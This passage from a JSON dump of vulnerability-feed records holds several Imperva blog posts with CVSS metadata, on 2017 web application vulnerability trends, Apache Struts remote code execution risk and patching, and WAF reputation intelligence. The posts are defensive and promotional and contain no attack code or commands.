WordPress (Figure 6) and because [third party plug-in](<https://www.wpwhitesecurity.com/wordpress-security/statistics-highlight-main-source-wordpress-vulnerabilities/>) code is notoriously known for its bad security.\n\n**Year** | **Number of WordPress Plug-ins** \n---|--- \n**2015** | 41,347 \n**2016** | 48,044 \n**2017** | 53,357 \n \n_Figure 6: WordPress plug-in's trend_\n\n## Server-side Technologies\n\nPHP is still the most prevalent server-side language, therefore it\u2019s expected be associated with the highest number of vulnerabilities. In 2017, 44 vulnerabilities in PHP were published (Figure 7) which is a significant decrease (-143%) from the number of PHP vulnerabilities in 2016 (107) (see Figure 7). At the end of 2015, PHP released a major version, 7.0, after almost a year and half with no updates, which can explain the growth in the number of vulnerabilities in 2016. Last year PHP released a minor version, 7.1 (December 2016), with slight changes which can explain the decrease in the number of vulnerabilities in 2017.\n\n_Figure 7: Top server-side technology vulnerabilities 2014-2017_\n\n## The Year of Apache Struts\n\nAlthough 2017 listed fewer vulnerabilities in the Apache Struts framework (Figure 8), their impact was huge as some of them included unauthenticated [remote code execution](<https://www.imperva.com/blog/2017/01/remote-code-execution-rce-attacks-apache-struts/>) (RCE) which basically means that anyone can hack and take over the server, access private information and more.\n\n_Figure 8: Apache Struts and remote code execution vulnerabilities in 2014-2017_\n\nWe have previously blogged about this [specific vulnerability](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>) and [multiple other Apache Struts](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>) vulnerabilities in detail. They\u2019re worth checking out if you haven\u2019t already.\n\n## Predictions Toward 2018\n\nAs a security vendor, we\u2019re often asked about our predictions. Here are a couple of possible vulnerabilities trends for 2018:\n\n * Cross-site scripting vulnerabilities will continue to lead mainly because of the rise of [cryptojacking](<https://www.wired.com/story/cryptojacking-cryptocurrency-mining-browser/>) and the increasing popularity of server-side technologies that utilize JavaScript (e.g., Node.JS).\n * More authentication-related vulnerabilities from the family of \u201cdefault/guessable credentials\u201d will be discovered (especially in IoT devices) and exploited in order to herd new botnets. These botnets can be used to mount any kind of large scale attacks\u2014DDoS, brute force and more.\n\n## How to Protect Your Apps and Data\n\nOne of the best solutions for protecting against web application vulnerabilities is to deploy a [web application firewall](<https://www.imperva.com/products/application-security/web-application-firewall-waf/>) (WAF). A WAF may be either on-premises, in the cloud or [a combination of both](<https://www.imperva.com/blog/2017/11/cloud-waf-versus-on-premises-waf/>) depending on your needs and infrastructure.\n\nAs organizations are moving more of their apps and data to the cloud, it\u2019s important to think through your security [requirements](<https://www.imperva.com/blog/2017/06/waf-requirements-and-deployment-options-for-the-cloud/>). A solution supported by a dedicated security team is an important requirement to add to your selection criteria. Dedicated security teams are able to push timely security updates to a WAF in order to properly defend your assets.", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-12-28T17:20:47", "type": "impervablog", "title": "The State of Web Application Vulnerabilities in 2017", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638", "CVE-2017-9805"], "modified": "2017-12-28T17:20:47", "id": "IMPERVABLOG:6BF557CA0830C9058E2409E8C914366C", "href": "https://www.imperva.com/blog/2017/12/the-state-of-web-application-vulnerabilities-in-2017/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-12-25T19:52:24", "description": "I recently took a step back to review all the content we shared in 2017 on the Imperva blog. We covered a broad range of topics including data security, cloud migration, application and API security, AI and machine learning, cybersecurity research, GDPR, insider threats and more. We were busy! Cybersecurity certainly held the world's attention in 2017.\n\nSeveral stories rose to the top as either most read by you, particularly relevant to today's cybersecurity industry or exceptionally newsworthy (and in some cases, all of the above). For an end-of-year reading shortlist, I've compiled our top 10 blog posts from 2017.\n\n## 1\\. What\u2019s Next for Ransomware: Data Corruption, Exfiltration and Disruption\n\nThe WannaCry ransomware attack caught everyone off guard, infecting more than 230,000 computers in 150 countries by encrypting data on networked machines and demanding payments in Bitcoin. We wrote about how to [protect against it](<https://www.imperva.com/blog/2017/05/protect-against-wannacry-with-deception-based-ransomware-detection/>), but our post on [what's next for ransomware](<https://www.imperva.com/blog/2017/05/whats-next-for-ransomware/>) garnered even more attention\u2014it was our most read post of the year.\n\n## 2\\. CVE-2017-5638: Remote Code Execution (RCE) Vulnerability in Apache Struts\n\nApache Struts made headlines all over the place in 2017. The [vulnerability we wrote about in March](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>) hit it big and just kept on going. You might remember it reared its ugly head later in the year when it was tied to the Equifax breach. (We also wrote about two other Apache Struts vulnerabilities: [CVE-2017-9791](<https://www.imperva.com/blog/2017/07/cve-2017-9791-rce-in-struts-showcase-app-in-struts-1-plugin/>) and [CVE-2017-9805](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>).)\n\n## 3\\. Top Insider Threat Concern? Careless Users. [Survey]\n\nWe [surveyed 310 IT security professionals](<https://www.imperva.com/blog/2017/07/top-insider-threat-concern-careless-users-survey/>) at [Infosecurity Europe](<http://www.infosecurityeurope.com/>) in June on their thoughts on insider threats. The big reveal? More than half (59 percent) were concerned not primarily about malicious users, but about the careless ones who unwittingly put their organization\u2019s data at risk. (We shared more about insider threats in this [infographic](<https://www.imperva.com/blog/2017/05/thwart-insider-threats-with-machine-learning-infographic/>).)\n\n## 4\\. Uncover Sensitive Data with the Classifier Tool\n\nIn July we launched Classifier, a free data classification tool that allows organizations to quickly uncover sensitive data in their databases. The response was immediate\u2014over 500 [downloads ](<https://www.imperva.com/lg/lgw_trial.asp?pid=582>)and counting\u2014not surprising given it helps jump start the path to compliance with the GDPR. [Our blog post ](<https://www.imperva.com/blog/2017/07/uncover-sensitive-data-with-the-classifier-tool/>)walked through the steps of how to use the tool.\n\n## 5\\. Professional Services for GDPR Compliance\n\nSpeaking of the GDPR, the new data protection regulation coming out of the EU was on everyone's radar this year. We wrote a LOT about GDPR, including [who is subject to the regulation](<https://www.imperva.com/blog/2017/02/gdpr-series-part-1-gdpr-apply/>), [what rules require data protection technology](<https://www.imperva.com/blog/2017/03/gdpr-series-part-2-rules-require-data-protection-technology/?utm_source=socialmedia&utm_medium=organic_empshare&utm_campaign=2017_Q1_GDPRPart2>), and the [penalties for non-compliance.](<https://www.imperva.com/blog/2017/03/gdpr-series-part-4-penalties-non-compliance/>) However, our post on the [professional services we offer for GDPR compliance](<https://www.imperva.com/blog/2017/10/professional-services-for-gdpr-compliance/>) drove the most traffic on this topic by far.\n\n## 6\\. The Evolution of Cybercrime and What It Means for Data Security\n\nHackers tactics may change, but what they\u2019re after doesn\u2019t\u2014your data. Stealing or obstructing access to enterprise data is the foundation of the cybercrime value chain. We discussed how the [changing nature of cybercrime](<https://www.imperva.com/blog/2017/06/the-evolution-of-cybercrime-and-what-it-means-for-data-security/>) and app and data accessibility create risk and the essentials of application and data protection in this ever-changing world.\n\n## 7\\. Move Securely to the Cloud: WAF Requirements and Deployment Options\n\nMoving to the cloud has become an overwhelmingly popular trend even among those who were at first reluctant to make the move. In this post, we discussed [requirements and deployment options for evaluating a WAF for the cloud](<https://www.imperva.com/blog/2017/06/waf-requirements-and-deployment-options-for-the-cloud/>). (We also wrote about the [benefits of a hybrid WAF deployment ](<https://www.imperva.com/blog/2017/11/cloud-waf-versus-on-premises-waf/>)and the pros and cons of both cloud and on-prem WAFs.)\n\n## 8\\. Clustering and Dimensionality Reduction: Understanding the \u201cMagic\u201d Behind Machine Learning\n\nEverywhere you turned in 2017 you heard about AI and machine learning and the impact they're having, or will have, on essentially everything. Two of Imperva's top cybersecurity researchers explained in detail [some of the techniques used in machine learning](<https://www.imperva.com/blog/2017/07/clustering-and-dimensionality-reduction-understanding-the-magic-behind-machine-learning/>) and how they're applied to solve for identifying improper access to unstructured data. (Those two researchers were also awarded a patent for their machine learning work this year!)\n\n## 9\\. Can a License Solve Your Cloud Migration Problem?\n\nGartner published their [2017 Magic Quadrant for Web Application Firewalls ](<https://www.imperva.com/blog/2017/08/gartner-magic-quadrant-for-wafs-a-leader-four-consecutive-years/>)(WAF) in August and Imperva was once again named a WAF leader, making it four consecutive years. We stood out for offering security solutions for today's changing deployment and infrastructure model. [In this post](<https://www.imperva.com/blog/2017/11/license-solve-cloud-migration-problem/>) we wrote about our flexible licensing program, which lies at the core of the move to the cloud: helping customers secure apps wherever they need, whenever they need, for one price.\n\n## 10\\. The Uber Breach and the Case for Data Masking\n\nLast but not least, we couldn't ignore the Uber breach. Hard to believe in today's world that log in credentials were shared in a public, unsecured forum, but that's what happened. The breach did highlight an important issue, that of production data being used in development environments. It's a bad idea; [we explained why in this post](<https://www.imperva.com/blog/2017/11/uber-breach-case-data-masking/>). Had data masking been used at Uber, hackers would have been left with worthless data, or as we called it, digital fools gold.", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-12-18T17:43:16", "type": "impervablog", "title": "Imperva\u2019s Top 10 Blogs of 2017", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638", "CVE-2017-9791", "CVE-2017-9805"], "modified": "2017-12-18T17:43:16", "id": "IMPERVABLOG:9AF395FCAE299375F787DBC7B797E713", "href": "https://www.imperva.com/blog/2017/12/impervas-top-10-blogs-of-2017/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-09-21T16:39:07", "description": "People used to argue about whether cyber security is a business problem or a technical problem. But this frames the issue poorly. \u201cProblem\u201d and \u201csolution\u201d imply that there is a definitive \u201csolve.\u201d\n\nCybercrime isn\u2019t a technical problem that can be definitively solved. It is an inherent business risk of having something of value. And risk can\u2019t be solved. Risk can only be managed.\n\nThe thing that differentiates cyber security from almost any other IT discipline (disaster recovery and business continuity in a post 9/11 world is another) is that with cyber security there is an adversary, and that adversary is motivated and incented to beat you. And if you have something of value to them, and if their reward outweighs their risk, they will continually evolve their tactics to get to it.\n\nBusiness-driven digital transformation is driving exponential growth in the number of knowledge workers, websites, mobile apps, APIs, file servers, databases, etc. Each of these enable our businesses to collect, generate and/or use data to competitive advantage.\n\nIn security parlance, this is known as \u201csurface area\u201d; that which is exposed to an attacker. Each is either an end target of the cybercriminal, or a vector a cybercriminal uses to get to data. The more our businesses digitize, the more surface area there will be. Most of this surface area (the big exception is people themselves) is manifested as technology.\n\n## What\u2019s this got to do with Apache Struts?\n\n[Apache Struts](<http://struts.apache.org/>) \u2013 and you\u2019d have to work hard to find something that initially seems more disconnected from business risk as Apache Struts \u2013 illustrates this.\n\nApache Struts is a framework that extends the Java Servlet API for writing web/mobile/API-based applications. Digital transformation means more apps. More apps mean more use of frameworks like Struts. Which means more technical surface area exposed to attackers. This illustrates why \u201cjust reduce surface area\u201d alone isn\u2019t a strategy. Less surface area means less apps, which would mean less digital transformation itself. Given the perceived cost and revenue-side business benefits of digital transformation, this is not likely to happen.\n\nStruts, and other similar frameworks, basically enable developers to write Java apps faster. Struts has been around, in one form or another, since 2000. The current framework \u2013 [Apache Struts 2](<https://en.wikipedia.org/wiki/Apache_Struts_2>) \u2013 was initially released in 2007. Some estimate it is used by 65 percent of the Fortune 500.\n\nOur [research team](<https://www.imperva.com/DefenseCenter>) \u2013 which is the same team that releases our WAF signatures/virtual patches for known vulnerabilities \u2013 collected the following stats on Struts:\n\n * 75 published security vulnerabilities to date\n * 83% of the vulnerabilities can be accessed via a remote attacker (i.e., via network)\n * 75% of the vulnerabilities have working exploits\n * 35% of the vulnerabilities may allow remote code execution (RCE) attacks\n\n### What is RCE?\n\n[RCE](<https://www.imperva.com/blog/2017/01/remote-code-execution-rce-attacks-apache-struts/>) is nasty. IMHO, nastier than the more famous/infamous application vulnerability [SQL injection](<https://www.imperva.com/app-security/threatglossary/sql-injection/>). RCE, or remote code execution, allows an attacker to replace the parameters normally submitted as part of an API call with malicious code. Crafted carefully, this malicious code will then execute on the server. What this malicious code does is up to the attacker. Given that web apps frequently access back-end data stores, the potential for a RCE vulnerability to be exploited to breach data is apparent.\n\nIn 2017, there have been four different Apache Struts RCE vulnerabilities:\n\n * CVE-2017-12611\n * [CVE-2017-9805](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>)\n * [CVE-2017-9791](<https://www.imperva.com/blog/2017/07/cve-2017-9791-rce-in-struts-showcase-app-in-struts-1-plugin/>)\n * [CVE-2017-5638](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>)\n\nA close look at these shows several strategies for both reactively and proactively protecting application surface area. These certainly apply to Apache Struts, but also to most application frameworks.\n\n## Ways to Protect Application Surface Area\n\n### Patch Servers\n\nThe long-term fix for a vulnerability is to patch the servers. However, rolling out a patch across thousands of servers running hundreds of different apps owned by tens of different app teams is a not a trivial task. It can take months. Which is why most servers aren\u2019t at current patch levels.\n\nThere is another bit of nastiness around patching as well. Sometimes patches aren\u2019t backwards compatible. [CVE-2017-9805](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>) contains this: _\u201cIt is possible that some REST actions stop working because of applied default restrictions on available classes.\u201d _In layman\u2019s terms, this means applying the patch can break an existing app. This gets to the heart of why security is risk management: deciding to apply a patch prior to testing a patch with all apps runs the risk of breaking the apps (a.k.a., \u201cpotentially bringing down a website\u201d).\n\n### Virtual Patching\n\nA virtual patch uses a gateway (WAF, IDS, network firewall) that monitors traffic to identify and block an attack before it reaches a web server. _Note, not all types of security gateways can apply a virtual patch to all types of vulnerabilities. _\n\nFor Struts CVE-2017-9805, Imperva used the [ThreatRadar](<https://www.imperva.com/Products/ThreatRadarSubscriptions>) Emergency Feed to distribute a signature and a corresponding virtual patch to SecureSphere Web Application Firewall users within 48 hours of the CVE\u2019s disclosure. Emergency Feed is an opt-in service that leverages the communication channel between SecureSphere and the Imperva cloud to automatically distribute signatures and associated policies to mitigate highly critical vulnerabilities. This in effect automatically deploys a virtual patch for the vulnerability. A policy accomplishing the same thing was uploaded to Incapsula in the same timeframe, accomplishing the same thing for any Incapsula WAF customers.\n\nVirtual patches for known CVEs are useful, but they are reactive. They are predicated upon knowing about a vulnerability in the first place. There is no (despite what some may say) general signature that spans all RCEs. The following are proactive defenses that can be used to protect against application vulnerabilities (RCE and otherwise).\n\n### Reputation-based Blocking\n\nThe vast majority of attacks launched against web app frameworks are automated. For example, for [CVE-2017-9805](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>), 40% of the attacks tracked by our research team originated from a single server in China. There is no reason for any traffic from any source like this to be reaching web servers. Imperva ThreatRadar IP Reputation can be set to fetch the latest IP Reputation feeds several times an hour. While this won\u2019t catch every instance of an attack, it is an excellent filter that will proactively block a large portion of the automated attacks that target web apps.\n\n### Anti-automation\n\nIP reputation isn\u2019t the only mechanism for stopping automated attacks. Both SecureSphere and Incapsula provide functionality for identifying and blocking bots, regardless of the bot\u2019s intent. Both use the same underlying technology to progressively profile a request to determine if the request is a human or a bot, and if a bot a good bot or a bad bot. Identifying and blocking requests from bad bots is another technique for scrubbing automated attacks targeting web apps.\n\n### Web Application Firewall Zero Day Protections\n\nReputation and anti-automation are extremely effective at filtering automated attacks from bad actors, but a careful attacker will be able to mask itself, especially when focusing upon a specific app or enterprise.\n\nHowever, to exploit an RCE vulnerability in every case the attacker needs to send the malicious code \u2013 the \u201cpayload\u201d \u2013 to the app in question. This payload will look wildly different from the typical content (e.g., an API call) submitted to an app. By learning what payloads are normally submitted via various form submissions and API calls, a solid WAF can prevent something like CVE-2017-9805 without knowing the vulnerability exists, and without ever seeing the payload before. The SecureSphere WAF uses machine learning to understand how an application normally behaves, and then uses it to identify and block anomalous requests.\n\nImperva zero day protections identified Apache Struts exploits almost immediately via a few different mechanisms:\n\n * Upon learning of a vulnerability, attackers will frequently \u201cspray and pray\u201d an attack against numerous apps, and various forms/APIs within an app. Given automation, its more cost effective for them to just broadly launch an attack than it is first determine if an app/API is even vulnerable. We saw this for CVE-2017-9805 almost immediately, identifying it a \u201cunknown content type for known URL\u201d. In English, this translates to \u201cnot only is this not normal, it isn\u2019t even content that this URL can process.\u201d These kinds of alerts are an early \u201ctell\u201d that something is afoot, and our research team uses them as both an early indicator, as well as to inform our ThreatRadar threat intelligence feeds.\n * If the app is susceptible to the vulnerability, a malicious payload will still not conform to normal application traffic. In the case of CVE-2017-9805, SecureSphere will identify an \u201cunknown parameter\u201d or \u201cparameter type violation.\u201d\n * In most cases, the payload is much larger/longer than a normal request. In these cases, a \u201cparameter length violation\u201d will surface.\n\n## The Role of App Security Domain Expertise\n\nWhat only someone who lives and breathes this stuff on a day-in/day-out basis knows is that any one of these violations by themselves isn\u2019t necessarily an attack. Policies built on evaluating any of this in isolation can result in a high rate of false positives. False positives are the bane of IT security\u2019s existence, _because when looking at a screen full of alerts, you don\u2019t know which ones are false and which aren\u2019t. _The net effect is ignoring them all.\n\nSecureSphere WAF has [patented capabilities](<https://www.imperva.com/Products/AdvancedTechnologies>) that evaluate the relationships between multiple violations. This ability to analyze seemingly independent violations coming from different layers of the app stack (e.g., network protocol, parameter length, IP reputation, etc.) together greatly enhances accuracy. This not only minimizes false positives, but more importantly provides the confidence to actually _block_ requests.\n\n## Manage Business Risk, Protect Against App Exploits\n\nAccording to the [2017 Verizon Data Breach Investigation Report](<http://www.verizonenterprise.com/verizon-insights-lab/dbir/2017/>) more successful breaches resulted from attacks on web apps than any other type of attack. This is telling since web app attacks are only number four in terms of incident frequency.\n\nAttackers realize that web app frameworks like Struts (and all frameworks have security issues) are particularly attractive targets. Since they are used for public facing web apps, they can\u2019t be hidden behind layers of network security. Their role is to accept inputs (web form parameters, API calls, etc.) and then process these inputs, which directly maps to particularly dangerous exploits like SQL injection and RCE. Since frameworks are widely adopted, attackers automate their attacks so they can cost effectively leverage their effort across thousands of websites.\n\nBusiness will roll out more application functionality. The cost savings and revenue generating opportunities from digital transformation pretty much guarantee we\u2019ll have more app surface area next year than this year. Learn more about how to use these capabilities to protect this ever growing surface area with Imperva SecureSphere [Web Application Firewall (WAF)](<https://www.imperva.com/Products/WebApplicationFirewall-WAF>) and [Imperva Incapsula WAF](<https://www.incapsula.com/website-security/web-application-firewall.html>).", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-09-18T20:33:25", "title": "Apache Struts, RCE and Managing App Risk", "type": "impervablog", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-12611", "CVE-2017-5638", "CVE-2017-9791", "CVE-2017-9805"], "modified": "2017-09-18T20:33:25", "href": "https://www.imperva.com/blog/2017/09/apache-struts-rce-and-managing-app-risk/", "id": "IMPERVABLOG:C40BB28F51D206C8BB23721D1ECED353", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-23T17:31:04", "description": "On August 22, Apache Struts released a [security patch](<http://struts.apache.org/announce.html#a20180822-1>) fixing a critical remote code execution vulnerability. This vulnerability has been assigned CVE-2018-11776 (S2-057) and affects Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16. \n\nThe vulnerability was responsibly disclosed by Man Yue Mo from the Semmle Security Research team, check out a detailed description [here](<https://lgtm.com/blog/apache_struts_CVE-2018-11776>). An [exploit PoC ](<https://github.com/jas502n/St2-057/blob/master/README.md>)has already been published. \n\n[Imperva WAF](<https://www.imperva.com/products/application-security/web-application-firewall-waf/>) customers are protected out of the box against this vulnerability, no need for any special configuration on the customer end.", "edition": 2, "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-08-23T14:25:36", "type": "impervablog", "title": "Read: Apache Struts Patches \u2018Critical Vulnerability\u2019 CVE-2018-11776", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2018-08-23T14:25:36", "id": "IMPERVABLOG:E9D83907E76B2B468512918F211FB65E", "href": "https://www.imperva.com/blog/2018/08/read-apache-struts-patches-critical-vulnerability-cve-2018-11776/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2017-11-14T03:35:02", "description": "[Reputation intelligence](<https://www.imperva.com/app-security/threat-intelligence-101/reputation-intelligence/>) is information about cyber entities known for specific activity, whether malicious or benign, which can be fed to and actioned on by a web application firewall (WAF). It provides an additional application security layer by effectively identifying and blocking threats from known malicious sources. Using reputation intelligence, large amounts of traffic can be classified as malicious or benign, reducing the workload of WAFs to inspect the actual content of that traffic. You can better understand where traffic originates, who is creating it and the potential risk.\n\nWith up to date information on all known cyber entities delivered to your [WAF](<https://www.imperva.com/Products/WebApplicationFirewall-WAF>), reputation intelligence can help block an attack or allow legitimate traffic, which in turn significantly reduces false positives.\n\nExamples of reputation intelligence entities include:\n\n * **Malicious IP Addresses:** Sources that have repeatedly attacked other websites\n * **Anonymous Proxies**: Proxy servers used by attackers to hide their true location\n * **TOR Networks**: Anonymous communication software used by hackers to disguise the source of an attack\n * **IP Geo-location**: Geographic location from which attacks are initiated\n * **Phishing URLs**: Fraudulent sites (URLs) that are used in phishing attacks\n * **Comment Spammers**: IP addresses of known active comment spammers\n * **Remote File Include (RFI):** URLs that were identified as locations from where malicious files are downloaded\n * **SQL Injection IPs:** IP addresses that were identified as serial SQL injection attackers\n * **Scanner IPs:** IP addresses that were identified as serial scanner attackers\n * **Spamdexing:** URLs used in comment spam attacks\n\n## Benefits of Reputation Intelligence\n\nPeople often ask us why they should add reputation intelligence to their WAF. One of our large global customers summed it up best, \u201cReputation intelligence is the low hanging fruit, we just block based on the feeds delivered to the WAF and see immediate value \u2013 I\u2019m blocking the bad guys without creating new security rules.\u201d This is the fundamental benefit delivered by reputation intelligence \u2013 automated blocking of threats based on specific entities, such as IPs or URLs.\n\nThere are additional benefits to adding reputation intelligence to your WAF such as gaining geo-location information to reduce false positives and establish and enforce business policies. For example, many enterprises have geo-location restrictions. Some media entertainment companies such as Netflix provide service to their customers in the US only and they could use a geo-location feature to enforce that policy.\n\nReputation intelligence is also used to minimize false positives generated by a WAF by providing white list resources:\n\n * CDN IP addresses\n * Legitimate search engines\n * Well-known \u201cgood\u201d (non-malicious) entities\n\nA WAF can use this intelligence to exclude certain entities from strict policies. For example, if you want to block scanning attempts based on the resource polling frequency from servers you can do it while allowing legitimate search engine indexing traffic to avoid false positives.\n\nReputation intelligence will enable a WAF to enforce other business-oriented policies. For example, some enterprises want to allow users browsing access to their website from certain countries that use anonymized proxies. On the other hand, attackers frequently use automated tools behind anonymized proxies to attack web applications. A WAF with reputation intelligence can set a granular policy to block automated tools that hide behind anonymous proxies and TOR networks while allowing legitimate human traffic.\n\nApart from delivering feeds on cyber entities, reputation intelligence is also used to mitigate zero-day attacks. After the latest Apache Struts remote code execution vulnerability was released ([CVE-2017-9805](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>)) Imperva used its reputation intelligence service to push the mitigation for it in a matter of hours to SecureSphere WAF customers providing them with zero-day protection.\n\n## Measuring the Quality of Reputation Intelligence\n\nVarious vendors offer reputation intelligence services, so how do you know which one is best? Great question, difficult answer. If there are a lot of false positives that\u2019s an obvious indicator that the reputation intelligence service feed is not high quality and you don\u2019t want to use it. But there are several parameters to consider. Here\u2019s what to look for:\n\n * **Size of feed** \u2013 The number of entries in the feed will vary by the content\u2014from a few hundred to a few thousand\u2014but they should represent the real-world landscape of good and bad cyber entities that extend beyond IP addresses to include phishing sites, TOR networks, and proxies. For example, you might expect a feed of dedicated phishing sites to contain a few dozen active sites, malicious SQL injection IPs to contain a few hundred, and IP comment spam as much as 50,000 IPs.\n * **False-positive and true-positive rates** \u2013 This reflects the accuracy of the feed. Lower false-positive rates and higher true-positives rates indicate better feed quality.\n * **Geographic diversity** \u2013 In cases where a company\u2019s business is open to the entire world, you will want reputation feeds that cover all parts of the world and aren't limited to a specific geo-location, such as US traffic only.\n * **Reputation intelligence updates** \u2013 Most malicious entities are constantly changing. IPs on the world wide web are dynamically allocated to users. For example, the majority of phishing sites remain active for [only four to eight hours](<https://www.darkreading.com/threat-intelligence/14-million-new-phishing-sites-launched-each-month/d/d-id/1329955>). Therefore, the frequency in which the feeds are updated is important.\n\nYou need to be sure that a vendor\u2019s coverage of the web is wide enough. Vendors that see many gigabits of traffic per day across different regions around the world will have more visibility to provide more accurate coverage. This will dramatically increase the size of the feed and the true positive rate, reduce the number of false positives and provide higher diversity of resources.\n\n## You Have Reputation Intelligence, Now What?\n\nOnce you have reputation intelligence delivered via automated feed to your WAF you can take the following actions:\n\n * **Block threats** \u2013 With high quality reputation intelligence feeds you will see a low-to-zero false-positive rate and can begin using WAF in blocking mode.\n * **Perform forensics** \u2013 Gather reputation based traffic in your estate and use it to correlate with other security devices for forensics and incident response.\n * **Build** **compound policies** \u2013 Use the reputation intelligence feeds to create more robust security policies. For example, IP comment spam resource feeds can be combined with the behavior characteristics of publishing a comment on a web site (such as POST HTTP method and a parameter with a URL).\n\nIn summary, reputation intelligence improves your application security posture, reduces false positives, increases accuracy and mitigates zero day threats.\n\nLearn more about Imperva [reputation intelligence services](<https://www.imperva.com/Products/ThreatRadarSubscriptions>) or [request a demo](<https://www.imperva.com/Resources/RequestDemo?src=WWW:RequestDemo:US:product-banner:demopage>).", "edition": 2, "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, 